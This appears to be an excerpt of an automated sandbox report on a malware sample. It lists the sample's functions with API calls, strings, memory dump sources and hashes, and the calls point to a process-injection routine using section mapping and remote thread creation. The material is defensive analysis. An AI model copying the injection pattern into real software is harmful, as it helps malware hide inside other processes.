Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000000.00000002.1768696668.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2Qvkmk7HGr.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 66f4d7de36bf33a8276767325b567db769fa807301e16b4e03cd2b1c881b4aa0
Instruction ID: 93e9f4b763319a312fe66b3304ba82e0c9e14e36225fd67d869cb8e68c59c211
Opcode Fuzzy Hash: 66f4d7de36bf33a8276767325b567db769fa807301e16b4e03cd2b1c881b4aa0
Instruction Fuzzy Hash: 5501B572308244EBDB019F90DC92EAE3728AF45318F24017BB557790E2C53DA912EB1B

Function 00531946 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00531997

Memory Dump Source

Source File: 00000000.00000002.1768955297.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_2Qvkmk7HGr.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d3b36b3d9baeb5794ffd6da86aef9884ceafb4e2bf236d1f2d357f08bb52a105
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 89113C79A00208EFDB01DF98C989E99BFF5AF08351F0580A5F9489B362D371EA50DF84

Non-executed Functions

Function 0055092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 0055095F
l, xrefs: 00550966
GetProcAddress., xrefs: 005509DC, 005509DF, 005509E4

Memory Dump Source

Source File: 00000000.00000002.1768987003.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_550000_2Qvkmk7HGr.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: a0d7601ad3be0be9ca7345b1b9b156f71840a4e34a964fc1e8f9d03f8084ce82
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 483179B6900609CFDB10CF99C880AAEBBF9FF48325F24504AD841A7351D771EA49CBA4

Function 00402721 Relevance: 1.4, Strings: 1, Instructions: 151COMMON

Download Yara Rule

Strings

#X%, xrefs: 0040273A

Memory Dump Source

Source File: 00000000.00000002.1768696668.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2Qvkmk7HGr.jbxd

Similarity

API ID:
String ID: #X%
API String ID: 0-730838689
Opcode ID: 245b7a6330694b5c367d3b257ccbe4366a0bf95add0a101e660e11a0368d02b9
Instruction ID: 71e09992ebba1ebce1a14e5228dc5e73fa07ad40964d1ad344f7d49068a62d69
Opcode Fuzzy Hash: 245b7a6330694b5c367d3b257ccbe4366a0bf95add0a101e660e11a0368d02b9
Instruction Fuzzy Hash: 2441DC352485539DC30299188E899EABF79FDC7398B10017ED8C2AB9D3CBA02517D3B6

Function 00401A28 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768696668.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_2Qvkmk7HGr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24dfe36045d0991ac749a0892ad312c9a4e30bcc45954bcab72f1b8cf2b0dd63
Instruction ID: 18334b27c1f95b13a70b5794667acb6e5ebe9408c321dbf9d60f89b0be35e569
Opcode Fuzzy Hash: 24dfe36045d0991ac749a0892ad312c9a4e30bcc45954bcab72f1b8cf2b0dd63
Instruction Fuzzy Hash: AA51AE612492109FE71989358C829B637219F43726F2C327FE98267EE6D379D4438A4A

Function 00531564 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768955297.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Offset: 00520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_2Qvkmk7HGr.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 26bc10cb75916793da9d8b96670eda41be48f5ec240f76cdadba6e69c5e4a327
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 8511AC72340500AFD750CF69DCC1FA277EAFB88320B298065ED06CB316E675E802CB64

Function 00550D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1768987003.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Offset: 00550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_550000_2Qvkmk7HGr.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 714e70d2f4900003e1559038d9d578e80d48b8cbfd1985c0913e936ce88b802b
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: E801DF72A006008FDB21DF60C825BAA37B9FB86306F1544A6D90A97282E370A8498B80

Analysis Process: tcgiwafPID: 5432, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	8.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	107
Total number of Limit Nodes:	3

Executed Functions

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F2
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401723
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401745

Memory Dump Source

Source File: 00000005.00000002.2003769507.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_tcgiwaf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d8025aa2a73fa1757bf9d96cb7b1acd78e4ac8c64498884b03c6ab91ddf532bc
Instruction ID: f2d5e20ae79a609852431105b0704d648b73f45673a5aa535929140ce5e9a1ec
Opcode Fuzzy Hash: d8025aa2a73fa1757bf9d96cb7b1acd78e4ac8c64498884b03c6ab91ddf532bc
Instruction Fuzzy Hash: 42614DB0900209FFEB218F91CC48FAF7BB8EF85710F10012AF952BA1E5D6749941DB25

Function 0040158E Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F2
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401723
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401745

Memory Dump Source

Source File: 00000005.00000002.2003769507.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_tcgiwaf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: b0195c2069dc6e331d8d87e09b392f04d65fbe6eaf74cb5c44d370e3a2e163ea
Instruction ID: 0dfbee2a1f0830b6acdc9e972913786be015a59f94024eee438c43ca1dd55f4f
Opcode Fuzzy Hash: b0195c2069dc6e331d8d87e09b392f04d65fbe6eaf74cb5c44d370e3a2e163ea
Instruction Fuzzy Hash: BA5139B1900249BFEF218F91CC49FEBBFB8EF86714F140159F951AA2A5D670A941CB24

Function 004015BC Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F2
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401723
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401745

Memory Dump Source

Source File: 00000005.00000002.2003769507.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_tcgiwaf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: cc208e499be32a7b8d2e1b8f44698ba7bae8291931bb2c7a737ae2018edfaae9
Instruction ID: 9e9cfe78a9b9fcbe8a20f4c56589f3f995e8910032e3214eb5438fd9bfe06916
Opcode Fuzzy Hash: cc208e499be32a7b8d2e1b8f44698ba7bae8291931bb2c7a737ae2018edfaae9
Instruction Fuzzy Hash: 855129B1900249BFEF218F91CC48FAFBBB8EF86B15F100159F951AA2A5D7709940CB20

Function 00403054 Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 0040317C
NtTerminateProcess.NTDLL ref: 0040318D

Memory Dump Source

Source File: 00000005.00000002.2003769507.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_tcgiwaf.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction ID: bb3d83799e525a3431e0f051c565fd2002d42970a2b52bf5f395df3a052ac564
Opcode Fuzzy Hash: ba71293914487d9c4508611429cc1c96d45b5da92adc1af413e838efc5e3ffef
Instruction Fuzzy Hash: 9F412732618E0C4FD768EE6CA84966377D5E798311F1A43ABD809D7389EE30D85187C5

Function 0056003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0056024D

Strings

kernel32.dll, xrefs: 0056008F, 00560095
cess, xrefs: 0056018D

Memory Dump Source

Source File: 00000005.00000002.2004791838.0000000000560000.00000040.00001000.00020000.00000000.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_560000_tcgiwaf.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 27a86b14edabf9ade6a7e6052f94aea87cf6fba087f3c177ac7a62f14760164d
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: B2526874A01229DFDB64CF58C985BA9BBB1BF09304F1480D9E94DAB391DB30AE85DF14

Function 00621C87 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00621CAF
Module32First.KERNEL32(00000000,00000224), ref: 00621CCF

Memory Dump Source

Source File: 00000005.00000002.2004938818.0000000000610000.00000040.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_610000_tcgiwaf.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: d96ec0932599499d2cbc8fdc8004e6e2413fe1abac97745c8f8bea4e814fe3f5
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 27F0F635640B206FD7203BF5BC8CBAE72EDEF5A320F100528E642952C0CB74EC454E61

Function 00560E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00560223,?,?), ref: 00560E19
SetErrorMode.KERNELBASE(00000000,?,?,00560223,?,?), ref: 00560E1E

Memory Dump Source

Source File: 00000005.00000002.2004791838.0000000000560000.00000040.00001000.00020000.00000000.sdmp, Offset: 00560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_560000_tcgiwaf.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: a5b931f4ea7891f8ec39f80adb89aa55d3030c8fd74fa9dfc01ba301779e0f72
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 6CD0123154512877D7102A94DC09BCE7F1CDF05B62F008411FB0DD9080C771994046E5

Function 00401919 Relevance: 1.3, APIs: 1, Instructions: 79
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Memory Dump Source

Source File: 00000005.00000002.2003769507.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_tcgiwaf.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 2b935ac753e934015516d799e1095bac90694ea099bafde975148c207ca850c9
Instruction ID: 49835af623e861a6f2ddbc0bf662c5c40176c384461ea98b099af7f339eb22c4
Opcode Fuzzy Hash: 2b935ac753e934015516d799e1095bac90694ea099bafde975148c207ca850c9
Instruction Fuzzy Hash: 7911DCB234C201EBD6009A84A862E7A3214AB51359F304537FA57B90F2D57D9A13F76F

Function 00401959 Relevance: 1.3, APIs: 1, Instructions: 66
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000005.00000002.2003769507.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_tcgiwaf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 973fe8c7f692c8164376a233d22da1c8e21a759768f578ec8ae17a8f290018c7
Instruction ID: 220a72f44c34cad911d214d6bf830d158092726683e2111099ccb198781fee4b
Opcode Fuzzy Hash: 973fe8c7f692c8164376a233d22da1c8e21a759768f578ec8ae17a8f290018c7
Instruction Fuzzy Hash: 1311BCB1648204FADA009A849C62E7A3228AB41754F204137BA47B90F1C57DA913EAAF

Function 00401970 Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000005.00000002.2003769507.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_tcgiwaf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: b0ddfabd172ae9c3cb26196b0cb86bb5accc73c170931bda3ffef6ca5bc85053
Instruction ID: edf3ac2f4a0a3dadc82130375ffc9a201d65d5ca35b25829e414e95522c05f9b
Opcode Fuzzy Hash: b0ddfabd172ae9c3cb26196b0cb86bb5accc73c170931bda3ffef6ca5bc85053
Instruction Fuzzy Hash: AA01C0B174C104EBDB009A84DC62E7A3214AF41704F204537BA57B91F1C53EAA23FB5B

Function 00401977 Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000005.00000002.2003769507.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_tcgiwaf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 547ce1ee7459762dd25db0cd36bc5e4baa4f04934683c573935985333de64e11
Instruction ID: c889a794982209429869940d23560ef391d683eb1520a1ae8baa03dfc3eb9000
Opcode Fuzzy Hash: 547ce1ee7459762dd25db0cd36bc5e4baa4f04934683c573935985333de64e11
Instruction Fuzzy Hash: E601E1B1308100EBD7009B849C51ABA3614AF41314F20413BB957790E2C53EAA22EB5B

Function 00401987 Relevance: 1.3, APIs: 1, Instructions: 55
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000005.00000002.2003769507.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_tcgiwaf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 48afa338b6eb4ead81a9d6383d5bdcf6d33ddda25fb9a1f4e9ca7df9d9b0c8b0
Instruction ID: 1aa0efa7bda459d32f82bf33ce90feabc7a2b43109eca8adeaaf204144b81d62
Opcode Fuzzy Hash: 48afa338b6eb4ead81a9d6383d5bdcf6d33ddda25fb9a1f4e9ca7df9d9b0c8b0
Instruction Fuzzy Hash: C201C0B1708104EBDB009A84DC62E7A3214AF41714F204137BA57791F1C53EAA23FB5B

Function 0040198A Relevance: 1.3, APIs: 1, Instructions: 50
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,000000FA), ref: 004019B0

Part of subcall function 00401583: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
Part of subcall function 00401583: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
Part of subcall function 00401583: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693

Memory Dump Source

Source File: 00000005.00000002.2003769507.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_tcgiwaf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 66f4d7de36bf33a8276767325b567db769fa807301e16b4e03cd2b1c881b4aa0
Instruction ID: 93e9f4b763319a312fe66b3304ba82e0c9e14e36225fd67d869cb8e68c59c211
Opcode Fuzzy Hash: 66f4d7de36bf33a8276767325b567db769fa807301e16b4e03cd2b1c881b4aa0
Instruction Fuzzy Hash: 5501B572308244EBDB019F90DC92EAE3728AF45318F24017BB557790E2C53DA912EB1B

Function 00621946 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00621997

Memory Dump Source

Source File: 00000005.00000002.2004938818.0000000000610000.00000040.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_610000_tcgiwaf.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: e1565e21fd27825004f81731d3f870609084d435c3a895367f9cc0970ded4a5e
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 42113C79A00208EFDB01DF98C985E99BFF5AF08351F158095F9489B362D371EA90DF80

Analysis Process: tcgiwafPID: 5848, Parent PID: 1044COMMON

Non-executed Functions

Function 00403690 Relevance: 58.0, APIs: 26, Strings: 7, Instructions: 244memoryCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 004036C1
DefineDosDeviceA.KERNEL32(00000000,?,00000000), ref: 004036E9
_realloc.LIBCMT ref: 004036F1
OpenJobObjectW.KERNEL32(00000000,00000000,foyagili), ref: 0040372F
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040373A
_strlen.LIBCMT ref: 00403752
_abort.LIBCMT ref: 0040377E
VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 004037DA
GetTickCount.KERNEL32 ref: 004037F0
InterlockedExchange.KERNEL32(?,00000000), ref: 00403837

Strings

foyagili, xrefs: 00403728
zoviticejawesawa, xrefs: 00403740, 0040375B
Bq , xrefs: 004038DD
nodeteriyucanisi pivibuyasedigozudaruzezune rafuxinetisekipocovovavomikatan, xrefs: 0040394C
%s %f %c, xrefs: 00403790
rupajineligigepubofe, xrefs: 0040395C
{, xrefs: 0040392F

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143895137.000000000044B000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143919671.000000000045D000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_tcgiwaf.jbxd

Similarity

API ID: ExchangeInterlocked$AllocCountDefineDeviceErrorLastObjectOpenTickVirtual_abort_realloc_strlen
String ID: %s %f %c$Bq $foyagili$nodeteriyucanisi pivibuyasedigozudaruzezune rafuxinetisekipocovovavomikatan$rupajineligigepubofe$zoviticejawesawa${
API String ID: 1986831385-628290909
Opcode ID: 5f070e074a5e9741a15d25e6933d49c530d81da921c20e23a25216c3e6978ac5
Instruction ID: dbe9b3807635e8ccfe06713225267c25a69f231be5d888f18942a88b2e388c8e
Opcode Fuzzy Hash: 5f070e074a5e9741a15d25e6933d49c530d81da921c20e23a25216c3e6978ac5
Instruction Fuzzy Hash: B59135F19403509FD700AF64ED49F9A7BA8A744706F01453AF644772E2C7BCAA44CBAE

Function 004032A0 Relevance: 45.7, APIs: 24, Strings: 2, Instructions: 202timeCOMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(00000000,00000000), ref: 00403347
GetCommMask.KERNEL32(00000000,00000000), ref: 0040338A
GetNumberFormatW.KERNEL32(00000000,00000000,panigalixamadigagorov sowojacekiludumidige polocemor,00000000,?,00000000), ref: 004033B7
GetLogicalDriveStringsA.KERNEL32(00000000,?), ref: 004033C2
VerifyVersionInfoW.KERNEL32(?,00000000,00000000,00000000), ref: 004033D5
GetComputerNameA.KERNEL32(?,?), ref: 004033E6
ClearCommError.KERNEL32(00000000,00000000,00000000), ref: 004033F2
InterlockedIncrement.KERNEL32(?), ref: 004033FC
EnumTimeFormatsA.KERNEL32(00000000,00000000,00000000), ref: 00403404
GetTempFileNameA.KERNEL32(00000000,?,00000000,00000000), ref: 00403417
_memset.LIBCMT ref: 0040342C
CommConfigDialogW.KERNEL32(00000000,00000000,?), ref: 0040343C
ReadConsoleInputA.KERNEL32(00000000,?,00000000,?), ref: 00403451
GetVersionExW.KERNEL32(?), ref: 0040345E
CreateActCtxW.KERNEL32(?), ref: 0040346B
InterlockedExchange.KERNEL32(?,00000000), ref: 00403477
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00403483
GetShortPathNameW.KERNEL32(00000000,?,00000000), ref: 00403494
GetCurrencyFormatW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 004034A6
GetLocaleInfoW.KERNEL32(00000000,00000000,?,00000000), ref: 004034B9
InterlockedIncrement.KERNEL32(?), ref: 004034C3
SetVolumeMountPointA.KERNEL32(00000000,00000000), ref: 004034DB
GlobalUnWire.KERNEL32(00000000), ref: 004034E3
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,00000000), ref: 00403518

Strings

, xrefs: 00403309
panigalixamadigagorov sowojacekiludumidige polocemor, xrefs: 004033AE

Memory Dump Source

Source File: 00000007.00000002.4143833215.0000000000402000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.4143781084.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143804647.0000000000401000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000007.00000002.4143833215.000000000041E000.00000020.00000001.01000000.00000005.sdmpDownload File
